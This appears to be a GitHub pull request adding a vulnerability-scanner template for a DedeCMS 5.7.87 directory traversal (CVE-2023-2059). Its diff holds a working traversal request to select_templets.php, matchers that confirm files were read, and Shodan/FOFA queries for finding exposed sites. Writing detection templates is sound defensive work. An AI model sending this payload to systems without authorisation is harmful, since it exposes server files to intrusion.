Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2023-2059.yaml #9879

Merged
merged 3 commits into from
May 27, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 49 additions & 0 deletions http/cves/2023/CVE-2023-2059.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
id: CVE-2023-2059

info:
name: DedeCMS 5.7.87 - Directory Traversal
author: pussycat0x
severity: medium
description: |
Directory traversal vulnerability in DedeCMS 5.7.87 allows reading sensitive files via the $activepath parameter.
reference:
- https://github.com/ATZXC-RedTeam/cve/blob/main/dedecms.md
- https://vuldb.com/?ctiid.225944
- https://vuldb.com/?id.225944
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2023-2059
cwe-id: CWE-28
epss-score: 0.0012
epss-percentile: 0.46305
cpe: cpe:2.3:a:dedecms:dedecms:5.7.87:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: dedecms
product: dedecms
fofa-query: app="DedeCMS"
shodan-query: http.html:"dedecms"
tags: cve,cve2023,dedecms,lfi

http:
- raw:
- |
GET /include/dialog/select_templets.php?f=form1.templetactivepath=%2ftemplets/../..\..\..\ HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "dirname(__FILE__)"
- "$cfg_basedir"
- "dedecms"
condition: and
case-insensitive: true

- type: status
status:
- 200
Loading